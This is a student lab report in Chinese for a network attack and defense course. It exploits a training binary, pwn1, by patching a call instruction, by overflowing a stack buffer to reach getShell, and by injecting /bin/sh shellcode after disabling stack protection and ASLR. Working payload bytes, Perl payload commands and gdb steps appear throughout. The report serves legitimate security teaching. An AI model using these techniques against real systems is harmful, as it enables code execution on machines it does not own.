1. 程式人生 > 其它 >20212808 2021-2022-2 《網路攻防實踐》實踐九報告

20212808 2021-2022-2 《網路攻防實踐》實踐九報告

20212808 2021-2022-2 《網路攻防實踐》實踐九報告

1.知識點梳理與總結

1.1 實驗目標

本次實踐的物件是一個名為pwn1的linux可執行檔案。

該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。

該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。

三個實踐內容如下:

  • 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
  • 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
  • 注入一個自己製作的shellcode並執行這段shellcode。

2.實踐過程

2.1 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。

  1. 使用objdump指令對pwn1進行反彙編
    objdump -d pwn1 | more
  • call 8048491 彙編指令:該指令呼叫位於8048491處的foo函式;對應機器指令是 e8 d7ffffffe8有跳轉的意思
  • main函式中呼叫foo函式:對應機器指令是 e8 d7ffffff;d7ffffff為foo函式的地址偏移量,將其改為getshell地址的偏移量,就可以執行getshell函式。要呼叫getshell函式,就需要將d7ffffff改成getshell函式地址對應的補碼,也就是得到getshsell-80484ba對應的補碼即可。
  • 用windows計算器,計算47d-4ba可以得到補碼c3ffffff,將call指令的目標地址從d7ffffff改為c3ffffff即可
  1. 使用vim修改pwn1
    輸入:%!xxd,將顯示模式轉換為16進位制模式
    輸入/e8 d7,查詢要修改的內容

再將其中的d7修改為c3

輸入:%!xxd -r,轉換16進製為原格式,:wq儲存並退出

再次使用objdump檢視修改結果

執行修改過後的程式碼,得到shell提示符#

2.2 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。

1. 用objdump -d pwn1命令反彙編

  • 我們的目標是觸發函式getShell;該可執行檔案正常執行是呼叫函式foo,但buffer的填充並不安全。因此,這個函式有Buffer overflow漏洞;
  • 從彙編程式碼中可知,程式碼中只預留了28(0x1c)位元組的緩衝區,超出部分會造成溢位,首先覆蓋EBP,之後覆蓋EIP,位元組大小共28+4+4=36,我們的目標是覆蓋返回地址暫存器EIP
  • 函式main中的call呼叫函式foo,同時在堆疊上壓上返回地址值:80484ae
    從前面的反彙編結果可以看到, getShell 的地址為 0x0804847d ,所以我們構造的引數就是 11111111222222223333333344444444\x7d\x84\x04\x08\x0a
  1. perlink來構造16進位制字串。perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    註釋: 關於Perl: Perl是一門解釋型語言,不需要預編譯,可以在命令列上直接使用。 使用輸出重定向“>”將perl生成的字串儲存到檔案input中。

  2. xxd input 來檢視input檔案中的內容是不是符號預期。

  3. 再將input通過管道符“|”當作pwn1的輸入,然後進去getshell
    (cat input;cat) | ./pwn1

2.3 注入一個自己製作的shellcode並執行這段shellcode:

1. 準備一段shellcod
shellcode是一段機器指令
這段機器指令目的是威力獲取一個互動式的shell(就像linux的shell或者像window下的cmd.exe)
以下實踐使用該文章中生成的shellcode,如下
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2. 準備工作

execstack -s pwn1    //設定堆疊可執行
execstack -q pwn1    //查詢檔案的堆疊是否可執行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space

3. 構造要注入的patload

  • Linux下有兩種基本構造攻擊 buf 的方法:
    retaddr+nop+shellcode 和 nop+shellcode+retaddr。
    因為 retaddr 在緩衝區的位置是固定的,shellcode 要不在它前面,要不在它後面。
    簡單說緩衝區小就把 shellcode 放後邊,緩衝區大就把 shellcode 放前邊。
    結構為:nops+shellcode+retaddr。(另一個有錯誤)
    nop一為是了填充,二是作為“著陸區/滑行區”。
    我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。
    能夠成功的結構為:anything+retaddr+nops+shellcode。

  • 構造的結構是anything+retaddr+nops+shellcode,其中shellcode的內容如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

  • 使用此命令構建字串並儲存到input_shellcode中,不確定的位元組用 12 34h填充

perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

  • 開啟終端注入以下的字串:

(cat input_shellcode;cat) | ./pwn1

  • 開啟另一終端,用下命令找pwn20192427的程序號:

ps -ef | grep pwn1

得到程序號:4655

  • 啟動gdb除錯這個程序

gdb
(gdb) attach 4655

  • 然後反彙編foo函式,檢視返回指令(ret)的地址
disassemble foo
break *0x080484ae
 c


並在返回指令的地址處設定斷點,再另外的一個終端按下回車,再使用c使得程式接著執行

  • 待程式執行到斷點處,檢視此時的esp暫存器的值,獲得我們注入的字串的地址
    info r esp

  • 使用如下的指令檢視該地址附近資料

x/16x 0xffffd31c 
x/16x 0xffffd300 
x/16x 0xffffd2fc
x/16x 0xffffd17c
  • 從0xffffd15c開始觀察,可以發現數據採用小端位元組序,並且將返回地址改為ff ff d1 80就可以讓程式執行Shellcode,這樣一來\x1\x2\x3\x4就應該修改為\x80\xd1\xff\xff,於是我們便重新利用perl語言,將返回地址修改正確,並在最後加上回車(0x0a),然後重新執行程式。
perl -e 'print "A" x 32;print "\x80\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1

3.學習中遇到的問題及解決

問題1:實驗二中(cat input;cat) | ./pwn1出錯,不能進入getshell
問題1解決辦法:
pwn1修改了,刪除input和pwn1,重新拷貝一個,就好用了
問題2:用kali做實驗3下載不下來perlink,去ubutun做時執行(cat input_shellcode;cat) | ./pwn1這句話的時候失敗,說沒有這個檔案
問題2解決辦法:
下載32位的執行庫 ia32-libs ,直接安裝即可

4.實踐總結

經過本次實驗理解了BOF原理,學會了怎麼執行原本不可訪問的程式碼片段、強行修改程式執行流以及注入執行任意程式碼。通過本次實驗我對溢位攻擊有了更加深刻的理解。在今後編寫程式碼時應當注意邊界條件、檢查使用者輸入資料的正確性等細節問題。